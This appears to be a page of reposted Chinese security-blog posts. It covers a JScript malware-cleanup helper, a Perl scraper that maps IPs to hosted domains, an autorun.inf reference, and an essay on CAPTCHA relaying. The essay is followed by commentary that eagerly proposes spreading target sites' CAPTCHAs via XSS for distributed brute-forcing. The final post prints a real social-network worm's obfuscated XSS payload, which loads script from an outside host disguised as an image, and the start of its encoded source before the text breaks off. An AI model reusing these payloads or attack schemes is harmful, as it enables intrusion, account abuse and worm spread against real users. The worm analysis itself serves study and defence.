                fso.OpenTextFile(“test.txt”, ForWrite, true).Close();
                fso.OpenTextFile(“d:\\temp\\sss.txt”, ForWrite, true).Close();
                fso.CreateFolder(“d:\\中文 目录”);
                fso.OpenTextFile(“d:\\中文 目录\\test.txt”, ForWrite, true).Close();
                fso.OpenTextFile(fso.GetSpecialFolder(TemporaryFolder)+“temp.ani”, ForWrite, true).Close();

        }catch(Err){
        }
}

TestVCHelper.prototype.runTestCase = function(){
        var TestCase = new VCHelper();

        //display program info
        info();

        //test copy file
        TestCase.copyFile(“test.txt”, “d:\\temp\\test2222.txt”);
        TestCase.copyFile(“test.txt”,“d:\\temp\\test22222.txt”);
        TestCase.copyFile(“test.txt”,“d:\\nonexist\\test22222.txt”);
        TestCase.deleteFile(“d:\\temp\\sss.txt”);
        TestCase.deleteFile(“d:\\中文 目录\\test.txt”);
        TestCase.deleteFolder(“d:\\中文 目录”);
        TestCase.deleteFileByEnvVar(“%temp%\\temp.ani”);
        TestCase.writeTextToFile(“111\n2222\n333″, “test.txt”, ForAppend, false);
        TestCase.writeTextToFile(“111\n2222\n333″, “test.txt”, ForWrite, true);
        TestCase.writeTextToFile(“444\n2222\n333″, “test.txt”, ForAppend, true);
        //test process termination
        TestCase.unloadDll(“SciLexer.DLL”);
        TestCase.killProcessByName(“calc.exe”);
        TestCase.killProcessByPid(3968);
        TestCase.killProcessByPidSpt(3532,2);

        //test stopping service
        TestCase.stopSystemService(“MSIServer”);

        //test registry operations
        TestCase.createRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\,1,“REG_BINARY”);
        TestCase.createRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”, “Goocher!”, “REG_SZ”);
        WScript.StdErr.WriteLine(readRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”));
        TestCase.deleteRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”);
        TestCase.deleteRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\);
        TestCase.deleteRegKey(“HKCU\\Software\\ACME\\);

}

//—————–全局对象定义结束———————–

/**************************************
 ************ 系统服务操作 **************
 **************************************/
//停止服务
function stopSystemService(srvcName)
{
        try{
                var strcomputer, objwmi, servicelist, service, sname;
                strcomputer =“.”;
                objwmi = GetObject(“winmgmts:\\\\ + strcomputer + \\root\\cimv2″);
                //确保只停止当前状态为’Running’或’Unknown’的服务
                servicelist = objwmi.ExecQuery(“Select * from Win32_Service where (State=’Running’ or State=’Unknown’) and Name=’” + srvcName + “‘”);
                var e = new Enumerator(servicelist);
                for (;!e.atEnd();e.moveNext()) {
                        var service = e.item();
                        if(service.stopservice()){
                                WScript.StdErr.WriteLine(“!!!!!停止服务:’” + srvcName + “‘失败”);
                        }else{
                                WScript.StdOut.WriteLine(“*****停止服务:’” + srvcName + “‘成功”);
                        }
                }
        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

/**************************************
 ************ 注册表操作 ***************
 **************************************/
//删除注册表键值
function deleteRegKey(regKeyName)
{
        try{
                objWSH.RegDelete(regKeyName);
        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

//创建/修改注册表键值
function createRegKey(regKeyName, regKeyValue, regType)
{
        try{
                objWSH.RegWrite(regKeyName, regKeyValue, regType);
        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

//读取注册表键值
function readRegKey(regKeyName)
{
        try{
                return objWSH.RegRead(regKeyName);
        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

/**************************************
 ************ 进程操作 ***************
 **************************************/
//进程终结 by name
function killProcessByName(procName)
{
        try{
                var w = GetObject(“winmgmts:”);
                var processlist = w.execquery(“select * from win32_process where name=’” + procName + “‘”);
                var e = new Enumerator(processlist);
                for(;!e.atEnd();e.moveNext()){
                        var process = e.item();
                        if(process.terminate()){
                                objWSH.Popup(“终止进程:’” + procName + “‘失败”);
                        }
                }
        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}
//进程终结 by pid
function killProcessByPid(pid)
{
        try{
                var w = GetObject(“winmgmts:”);
                var processlist = w.execquery(“select * from win32_process where ProcessId=’” + pid + “‘”);
                var e = new Enumerator(processlist);
                for(;!e.atEnd();e.moveNext()){
                        var process = e.item();
                        process.terminate;           //结束进程    
                }
        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

function findProcessByPid(pid)
{
        try{
                var w = GetObject(“winmgmts:”);
                var processlist = w.execquery(“select * from win32_process where ProcessId=’” + pid + “‘”);
                var e = new Enumerator(processlist);
                for(;!e.atEnd();e.moveNext()){
                        var process = e.item();
                        return process;
                }
        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }

}

//进程终结 by pid 使用spt.exe
function killProcessByPidSpt()
{
        var pid, level, params;
        if(arguments == null || arguments.length < 2){
                return;
        }else{
                pid = arguments[0];
                level = arguments[1];
                params = arguments[2] == null ? null : arguments[2];
        }
        try{
                if(findProcessByPid(pid) == null){//不存在pid所代表的进程
                        WScript.StdErr.WriteLine(“!!!!!不存在进程(pid=” + pid + “, level=” + level + “)”);
                        return;
                }
                var oExec;
                if(params == null || params.length < 1){
                        oExec = objWSH.Exec(“spt “ + pid + ” “ + level);
                }else{
                        oExec = objWSH.Exec(“spt “ + pid + ” “ + level + ” “ + params);
                }
                var isSuccessful = false;
                while(!oExec.StdOut.AtEndOfStream)
                {
                        var output = oExec.StdOut.ReadLine();
                        if(output.indexOf(“succeed”) > -1){//程序执行成功
                                isSuccessful = true;
                                break;
                        }
                }
                if(!isSuccessful){
                        WScript.StdErr.WriteLine(“!!!!!强制终止进程(pid=” + pid + “, level=” + level + “)失败”);
                }else{
                        WScript.StdOut.WriteLine(“*****强制终止进程(pid=” + pid + “, level=” + level + “)成功”);
                }

        }catch(err){
                objWSH.Popup(“请将第三方程序spt.exe与本专杀放在同一目录下”,64,“注意”);
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

//dll文件卸载
function unloadDll(dllName)
{
        try{
                var oExec = objWSH.Exec(“ps /e * “ + dllName);
                var output = “”;
                var isSuccessful = false;
                while(!oExec.StdOut.AtEndOfStream)
                {
                        var output = oExec.StdOut.ReadLine();
                        if(output.indexOf(“succeed”) > -1){//程序执行成功
                                isSuccessful = true;
                                break;
                        }
                }
                if(!isSuccessful){
                        WScript.StdOut.WriteLine(“!!!!!强制卸载dll文件:” + dllName + “失败,请确认dll文件名是否正确”);
                }else{
                        WScript.StdOut.WriteLine(“*****强制卸载dll文件:” + dllName + “成功”);
                }
        }catch(err){
                objWSH.Popup(“请将第三方程序ps.exe与本专杀放在同一目录下”,64,“注意”);
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

/**************************************
 ************ 文件操作 ***************
 **************************************/
//删除文件(根据全路径+文件名,注意路径中的斜杠是\\)
function deleteFile(fileName)
{
        try{
                if(fso.FileExists(fileName)){
                        var v = fso.GetFile(fileName);
                        v.attributes = 0;
                        v.Delete(true);//force delete if read-only flag is set
                        if(fso.FileExists(fileName)){//check if file has been deleted
                                WScript.StdErr.WriteLine(“!!!!!删除文件’” + fileName + “‘失败”);
                        }else{
                                WScript.StdOut.WriteLine(“*****删除文件’” + fileName + “‘成功”);
                        }
                }

        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}
//删除文件(根据环境变量名+文件名,注意路径中的斜杠是\\)
function deleteFileByEnvVar(fileSpec){
        try{
                var d = objWSH.ExpandEnvironmentStrings(fileSpec);
                if(fso.FileExists(d)){
                        var v = fso.GetFile(d);
                        v.attributes = 0;
                        v.Delete(true);//force delete if read-only flag is set
                        if(fso.FileExists(d)){//check if file has been deleted
                                WScript.StdErr.WriteLine(“!!!!!删除文件’” + fileSpec + “‘失败”);
                        }else{
                                WScript.StdOut.WriteLine(“*****删除文件’” + fileSpec + “‘成功”);
                        }
                }
        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}
//强制删除文件(借助第三方工具)

//写文本文件
function writeTextToFile(txt, fileName, iomode, ForceCreate)
{
        try{
                var re = fso.OpenTextFile(fileName, iomode, ForceCreate);
                re.Write(txt);
                re.Close();

        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}
//复制文件
function copyFile(src, dst)
{
        try{
                if(fso.FileExists(src)){
                        var tempDst = dst.substring(0,dst.lastIndexOf(\\) + 1);
                        if(!fso.FolderExists(tempDst)){//检查是否存在目标文件所在的目录
                                if(objWSH.Popup(“不存在目标目录” + tempDst + “自动创建?”,64,“注意”,vbOKCancel) == vbCancel){//放弃复制
                                        return;
                                }
                                        fso.CreateFolder(tempDst);
                }
                        if(fso.FileExists(dst)){//检查目标文件是否已经存在
                                if(objWSH.Popup(“目标文件” + dst + “已存在,是否覆盖?”,64,“注意”,vbOKCancel) == vbCancel){//放弃覆盖
                                        return;
                                }
                        }
                        fso.GetFile(src).Copy(dst);

                }else{
                        objWSH.Popup(“要拷贝的源文件” + src + “不存在”,64,“注意”,vbOKOnly);
                }
        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }

}
//删除目录
function deleteFolder(folderName)
{
        try{
                if(fso.FolderExists(folderName)){
                        var folder = fso.GetFolder(folderName);
                        folder.attributes = 0;
                        folder.Delete(true);
                        if(fso.FolderExists(folderName)){
                                WScript.StdErr.WriteLine(“!!!!!删除目录’” + folderName + “‘失败”);
                        }else{
                                WScript.StdOut.WriteLine(“*****删除目录’” + folderName + “‘成功”);
                        }
                }

        }catch(err){
                hasExceptions ++;
                WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);

        }
}

/**************************************
 ************ UtilsHelper类 ***************
 **************************************/
function hex(nmb)
{
    if (nmb > 0)
        return nmb.toString(16);
    else
        return (nmb + 0×100000000).toString(16);
}

function info()
{
        var _name = “Virus Clean Helper”;
        var _author = “All rights by TrojanJason@NEWSMTH”;
        var _version = “Version 0.1″;
        objWSH.Popup(_author + \n + _version, 64, _name);
}

//run TestCase
var TestCase = new TestVCHelper();
TestCase.buildTestCase();
TestCase.runTestCase();

		

原理很简单,利用MSN Search的特殊搜索语法ip:x.x.x.x
废话少说,上代码,想到哪儿写到哪儿,以后用的时候再慢慢完善

基本用法:
perl SEHack.pl [options]
-ip ip:x.x.x.x #单个IP地址
-iplst file #从文件中读取IP地址列表,格式为ip:x.x.x.x,一条记录一行
-dbglevel [0,1,2] #调试记录级别,2最高
-o file #输出结果文件的文件名

附代码如下:

#!/usr/bin/perl
use LWP::UserAgent;
use strict;
use Getopt::Long;

#Global variables here
my ($baseGoogleURL) = http://www.google.com/search?q=;
# the base google url

my ($baseMSNURL) = http://search.msn.com/results.aspx?q=;
# the base msn url

my ($baseMSNurl) = http://search.msn.com;
# the base msn web site url

my $maxerror = 3;
my $dieOnFail = 1;
my $proxy = “”;
my $debuglevel = 1;
my $debuglog = debug.log;
my $ip = “”;
my $file = ips.txt;
my $ofile = domains.txt;
my $hlp;
my $oquery;

GetOptions(ip:s => \$ip,
iplst:s => \$file,
dbglevel:i => \$debuglevel,
o:s => \$ofile,
h => \$hlp
);

my @queryList = ();

main();

sub main
{
if($hlp){
help();
exit(0);
}
if(length($ip) < 1 && !-e $file){
help();
exit(-1);
}
elsif(-e $file){
open(FILE, <$file) or die Could not open file $file for read: $!\n;
while(my $line = <FILE>){
chomp $line;
if(length $line > 1){
push(@queryList,$line);
}
}
close(FILE);
print loaded . scalar(@queryList). ips from $file\n;
}
else{
push(@queryList, $ip);
}

foreach my $query (@queryList){
logMe(query is $query,$debuglevel,$debuglog);
$oquery = $query;
open (FILE,>>$ofile) or die Could not open file $ofile for write: $!\n;
print FILE $query.\n;
my @domainNames = ();
my $url;
my $hasNext = 0;
my $count = 0;
my %seen = ();
do{
$url = buildSearchURL($baseMSNURL,$query);
my @rsContent = getURLasArray($url,$maxerror,$dieOnFail,$proxy);

my @matches = ();

my $found = 0;
#iterate throughout the line
foreach my $rsLine (@rsContent)
{
#logMe (”当前解析行的内容:”.$rsLine,$debuglevel,$debuglog);
if (@matches = $rsLine=~ /<li class=”dispUrl”>([^\s]+?)<\/li>/g)
{
foreach my $match (@matches){
$match =~ s/\/[a-zA-Z\.\?~=%-_&;\d^\x00-\xff]*//g;
# remove numeric ip
if($match =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/){
# ignore
}
else
{
if(!$seen{$match}++){
print (get domain name: .$match.\n);
push(@domainNames, $match);
print FILE $match.\n;
}
}
}
}

my @nextUrls;
if($found == 0){
if(@nextUrls = $rsLine=~ /<a class=”nP” href=”\/results\.aspx\?q=([a-zA-Z\.\?~=%-_&;\d^\x00-\xff]*)“>[^\s]+?<\/a>/g)
{
foreach my $nextUrl (@nextUrls){
$query = htmlDecode($nextUrl);
#logMe(”next page url is $query”, $debuglevel, $debuglog);
}
$found ++;
}
}
}
if($found > 0){
$hasNext ++;
logMe($query,$debuglevel,$debuglog);
}else{
$hasNext = 0;
}

}while($hasNext);

if(scalar(@domainNames) > 0)
{
print We got . scalar(@domainNames). domain names related to .$oquery.\n;
}
else
{
print We got no domain name related to .$oquery.\n;
}
print FILE \n;
close (FILE);
}
}

sub getURLasArray($)
{
my ($url) = $_[0];
my ($maxerror)= $_[1];
my ($dieOnFail)= $_[2];
my ($proxy)=$_[3];
# my ($maxerror)= 3;
my ($content)=“”;
my (@content);
my ($errorcount)=0;
my ($seconds)=5;
# my ($debuglevel)=”";
# my ($debuglog)=”";
my ($response);
my $ua = LWP::UserAgent->new(env_proxy => 0,
keep_alive => 1,
timeout => 300,
agent => Mozilla/5.001 (windows; U; NT4.0; en-us)
);

#if (length($proxy)>0)
#{
# $ua->proxy([’http’, ‘ftp’], $proxy);
# logMe (”Setting Proxy “.$proxy,$debuglevel,$debuglog);
#}

logMe (fetching .$url.“”,$debuglevel,$debuglog);

# $content = get($url);
$response = $ua->get($url);
$content=$response->content;
@content=split(/\n/,$content);
while (! $response->is_success())
{
# if we got an error remove all proxies possibly the proxy failed …
$ua->proxy([http, ftp], );
$errorcount++;
warn (Could not fetch url \n.$url. \n attempt .$errorcount.\n);
logMe (Could not fetch url .$url. attempt .$errorcount..,2,debug.log);
logMe (Could not fetch url .$url. attempt .$errorcount..,2,debug.log);
$response = $ua->get($url);
$content=$response->content;
@content=split(/\n/,$content);

if ($errorcount==$maxerror) # on maximum error
{

logMe (Permanent error fetching url: .$url,$debuglevel,$debuglog);
logMe (Permanent error fetching url: .$url,2,debug.log);
if ($dieOnFail==1)
{
die Permanent error fetching url:\n.$url.\n;
}
else
{
warn (\a\a\a\a\a Permanent error fetching url:\n.$url.\n);
return(-1);
}
}

# increase delay to fool stupid webserver…
logMe (going to sleep for .$seconds*$errorcount. seconds,$debuglevel,$debuglog);
sleep ($seconds*$errorcount);
logMe (woke up!);;
}
logMe (got .scalar(@content). lines,$debuglevel,$debuglog);
return (@content);
}

sub buildSearchURL($)
{
my ($base) = $_[0];
my ($keyWords) = $_[1];

my ($url);

$url = $base.$keyWords;
$url =~ s/ //g;

return ($url);

}

sub logMe($)
{
my ($text) = $_[0];
my ($level)= $_[1];
my ($filename)= $_[2];
if ($level==0)
{
return(0);
}
my ($logfile);
my ($now);
$logfile=>>.$filename;

open (LOGFILE, $logfile) or die Can’t open $logfile: $!;
$now=localtime();
print (LOGFILE $now. - .$text.\n);
if ($level==2)
{
print ($now. - .$text.\n);
}
close (LOGFILE);
return(1);
}

sub help
{
print <<EOHELP;
-==========================================================================-
>>>>>>>>>>>>>>>>>>>> MSN Hack v0.0.2 by huangwei <<<<<<<<<<<<<<<<<<<<
-==========================================================================-
syntax:$0
-ip ip:x.x.x.x #单个IP地址
-iplst file #从文件中读取IP地址列表,格式为ip:x.x.x.x,一条记录一行
-dbglevel [0,1,2] #调试记录级别,2最高
-o file #输出结果文件的文件名
EOHELP
}

sub atoi {
my $t;
foreach my $d (split(//, shift())) {
$t = $t * 10 + $d;
}
}

sub htmlDecode {
my $str = shift;

return “” unless (defined $str && $str ne “”);

$str =~ s/&/&/g;
$str =~ s/</</g;
$str =~ s/>/>/g;
$str =~ s///g;
$str =~ s/\<BR\>/\n/g;

return $str;

}

sub htmlEncode {
my $str = shift;

return “” unless (defined $str && $str ne “”);

$str =~ s/&/&/g;
$str =~ s/</</g;
$str =~ s/>/>/g;
$str =~ s///g;
$str =~ s/\n/\<BR\>/g;

return $str;

}

转载自:http://www.neeao.com/blog/article-4619.html

笔者按:鉴于现在网上完全介绍autorun.inf功能的文章不多,笔者在微软官网的一个犄角旮旯找到了一篇autorun.inf的英文使用说明,在翻译和笔者的亲自试验下写出此篇文章。

======我是分隔线======

一、autorun.inf是windows下操纵光盘行为的一个文件,需要放在光盘根目录下,部分操作对于硬盘也适用。

二、autorun.inf是可以被禁止的。方法如下:


击开始->运行,在文本框中输入regedit或者regedt32。依次展开HKEY_CURRENT_USER\Software\
Microsoft\Windows\CurrentVersion\Policies\Exploer,其中的NoDriveTypeAutoRun子
键限制着Autorun的作用范围,默认为95(16进制)。

把禁用的设备标志相加设置为键值就可以完成设置,其中设备标志如下:
1:无法识别的设备(建议禁止,默认禁止)
2:没有根目录的设备(Drive without root directory未知含义,建议禁止,默认不禁止)
4:可移动的设备(U盘,建议禁止,很多病毒利用U盘的Autorun.inf进行传染,默认禁止)
8:固定的设备(硬盘,自己看着办,默认不禁止)
16:网络设备(web驱动器,建议禁止,默认禁止)
32:光盘驱动设备(CDROM,默认不禁止)
64:虚拟存储设备(RAM,建议禁止,默认不禁止)
128:未指定的其他驱动器(保留位,建议禁止,默认禁止)

三、autorun.inf文件分为三大部分[AutoRun] [AutoRun.Alpha] [DeviceInstall]。

[AutoRun]适用于Windows95以上系统与32位以上CD-ROM,必选。
[AutoRun.alpha]适用于基于RISC的计算机光驱,适用系统为Windows NT 4.0,可选。
[DeviceInstall]适用于Windows XP以上系统,可选。

四、[AutoRun]部分的命令及其详解。

1、DefaultIcon
含义:
指定应用程序的默认图标。
格式:
DefalutIcon=图标路径名[,序号]
参数:
图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。
序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。
备注:
应用程序的默认图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。
图标路径名的默认目录是设备根目录。

2、Icon
含义:
指定设备显示图标。
格式:
Icon=图标路径名[,序号]
参数:
图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。
序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。
备注:
设备显示图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。
图标路径名的默认目录是设备根目录。
当存在应用程序默认图标(DefaultIcon)时,本命令无效。

3、Label
含义:
指定设备描述
格式:
Label=描述
参数:
描述:任意文字,可以包括空格。
备注:
设备描述将在windows explorer核心的驱动显示窗口中替代设备的默认描述\卷标来显示。
在非windows explorer核心的驱动显示窗口中(例如右击设备选择属性)显示的仍然是设备的卷标。

4、Open
含义:
指定设备启用时运行之命令行。
格式:
Open=命令行
(命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开或使用ShellExecute命令。
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。

5、ShellExecute
含义:
指定设备启用时执行文件。(操作系统支持未知)
格式:
ShellExecute=执行文件路径名 [参数]
参数:
执行文件路径名:设备启用时执行文件路径名。可以是任意格式文件。系统会调用设置的程序执行此文件。
参数:参数,根据执行文件作调整
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。

6、Shell\关键字\Command
含义:
定义设备右键菜单执行命令行。
格式:
Shell\关键字\Command=命令行
(命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开。
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。

7、Shell\关键字
含义:
定义设备右键菜单文本。
格式:
Shell\关键字=文本
参数:
关键字:用以标记菜单,可以使用任何字符表示,包括空格。
文本:在右键菜单中显示的文本。可以使用任何字符,不能存在空格。
备注:
在同一Autorun.inf文件中,不同右键菜单关键字不同,相同右键菜单关键字相同。
右键菜单文本中可以使用&设定加速键,&&输出一个&。
Shell\关键字\Command命令Shell\关键字两者缺一不可,顺序无所谓。
当不存在Open、ShellExecute与Shell命令时,设备启用时运行第一个设备右键菜单指定命令。

8、Shell
含义:
定义设备启用时运行之设备右键命令。
格式:
Shell=关键字
参数:
关键字:标记过的菜单关键字
备注:
Shell指定的关键字可以在AutoRun.inf文件的任意部分。
Open\ShellExecute\Shell命令后定义的优先级高。

四、[AutoRun.alpha]部分的命令简介。

[AutoRun.alpha]部分的命令与[AutoRun]部分的命令相同,只不过在基于RISC的计算机光驱中,[AutoRun.alpha]优先级高于[AutoRun]

五、[DeviceInstall]部分命令及其详解。

DriverPath
含义:
定义搜索驱动程序目录。
格式:
DriverPath=驱动程序路径
参数:
驱动程序路径:驱动程序所在路径,包括其子路径。
备注:
Windows XP以上支持。
仅CD-ROM支持

系统监测到一个新的设备时,会提示用户寻找设备的驱动程序。当用户点选此CD-ROM时,当[DeviceInstall]部分存在时,系统会按照
DriverPath所标记的路径出寻找驱动程序。未标记的路径系统将忽略查找。当[DeviceInstall]部分不存在时,系统将进行完全查找。
如果不希望系统在此CD-ROM中搜索驱动程序,只加一行[DeviceInstall]不加DriverPath命令即可。

原文:
——————————————我是分割线——————————————

Many websites utilize a challenge-response mechanism know as CAPTCHA (Completely
Automated Public Turing test to tell Computers and Humans Apart) to protect
against automating the creation of user accounts, content, or otherwise abusing
services they provide.

Most common CAPTCHA systems work by generating
distorted characters, text, or pictures that can be easily recognized by the
human brain but present significant difficulty for computer OCR (optical
character recognition) or other image recognition systems.
Enter Social
Engineering. Although CAPTCHA may be fairly effective at verifying a reply is
from a human and not a computer they do not guarantee that it is from the human for which the challenge is intended.
Example…
1. Website
A hosts a service protected by CAPTCHA verification.
2. Website B is
set up by a party desiring to automate usage of the services of Website A.

3. Website B offers users free access to content, but requires they
defeat a CAPTCHA challenge.
4. Website B copies a CAPTCHA image
from Website A that it needs defeated and presents it to a user visiting
Website B.
5. The user provides the CAPTCHA response.
6.
Website B provides the offered content to the user, and then uses their
response to defeat the CAPTCHA test on Website A.

In this way automation
residing on Website B can distribute the work of defeating CAPTCHA challenges to
many people that are unknowingly providing responses to challenges from
Website A. In some ways it is similar to a distributed computing model. Instead
of distributing tasks out to computers however, the idea here is to
distribute the CAPTCHA tasks out to humans.
This method was used by spammers 1994 to defeat a turing text-based spam
protection mechanism in Microsoft’s Hotmail service. The spammers promoted a
Web site containing pornography and required visitors to enter a CAPTCHA before
they are were granted access. The CAPTCHA that were used to access the porn
site were originally generated by the Hotmail service. The CAPTCHA solutions
entered by the visitors to the porn site were then used by the spammers to
solve the CAPTCHA challenges in Hotmail, allowing them to automate the creation
of new accounts for sending spam.
More recently, trojans such as Captchar
<http://vil.nai.com/vil/content/v_143504.htm>
have been utilizing this method as well.
Although it is possible to
identify the difference between a computer and a human there may yet be a
challenge in verifying that a given human response is from the intended
human.

——————————————我是分割线——————————————

CAPTCHA+XSS+SQLInj = ?
自从有了验证码技术之后,传统的暴力破解和字典
式遍历枚举技术受到了很大的打击。但上面的这篇文章给了我们很大的启示,假如我们能够将待破解站点的认证码,通过XSS的方式,把验证码分布到互联网上的
大量站点中。利用真正的“人眼”去识别这些验证码,然后直接使用“聪明的victim”提交的验证码答案去安全“通过”待破解站点的“防自动提交”机
制!!

可以想像,很快,一个完全分布式的、智能的新暴力破解工具就会被广大的hackers所开发出来!!

Let’s say goodbye to CAPTCHA!!!

文章作者:langouster
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页
有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。

<a name=”mya113″ id=”mya113″
style=’background:url(vbscript:execute(StrReverse(”)”"311aym”"(dIyBtnemelEt­e
g.tnemucod,s erofeBtresni.edoNtnerap.)”"311aym”"(dIyBtnemelEteg.tnemucod
:”"gpj.sjnx/segami/moc.ecafosos.www//:ptth”"=crs.s:)”"tpircs”"(tnemelEetaer­c
.tnemucod=s tes”)) )’>

以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调
回来就变成以下内容:

set s=document.createElement(”script”)
s.src=http://www.sosoface.com/images/xnjs.jpg
document.getElementById(”mya113″).parentNode.insertBefore
s,document.getElementById(”mya113″)

在这段脚本中它又新建了一个script,它的src指向

http://www.sosoface.com/images/xnjs.jpg
<http://www.sosoface.com/images/xnjs.jpg%EF%BC%88%E5%88%AB%E7%9B%B8%E4…
%E5%90%8E%E7%BC%80%EF%BC%89%EF%BC%8C%E4%B8%8B%E8%BD%BD%E5%8A%A0%E8%BF%99%E4­%
B8%AA%E2%80%9Cjpg%E2%80%9D%E7%94%A8%E8%AE%B0%E4%BA%8B%E5%92%8CUE%E6%89%93%E­5
%BC%80%E9%83%BD%E5%8F%91%E7%8E%B0%E5%AE%83%E5%A1%AB%E5%85%85%E4%BA%86%E5%A4­%
A7%E9%87%8F%E7%9A%84asc%E7%9A%8400%EF%BC%88%E7%9C%9F%E4%B8%8D%E6%95%A2%E7%9­B
%B8%E4%BF%A1%E5%A1%AB%E5%85%85%E4%BA%86%E9%82%A3%E4%B9%88%E5%A4%9A00>

(别相信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢
相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后
花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
值 得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的
代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长 统
计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下
sosoface,还是看到这个网站的流量图:
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com <http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218>&r=1192875678218

从 图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数
从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次考虑到一个 人可能访问多
个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫
应该是被校内的人发现了,一夜之间全部消失了。 Sosoface也被停了。

下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。
看时从最底下的start函数看起:
var req = null;
var step=null;
var DiaryMonthUrlList=”",DiaryUrlList=”";
var timer=null;
var bIsBusy=false;

var
myrand=”46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.­4
7.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.11­7
.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.10­6
.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.3­3
.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.11­9
.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.­9
6.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.­3
5.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117­.
60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106­.
61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.6­0
.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.1­0
2.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.1­1
3.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.­4
4.46.61.115.44″;

function my_HtmlDecode(str)
{
str=str.replace(/</g,”<”);
str=str.replace(/>/g,”>”);
str=str.replace(/&/g,”&”);
str=str.replace(/ /g,” “);
str=str.replace(/”/g,”\”");
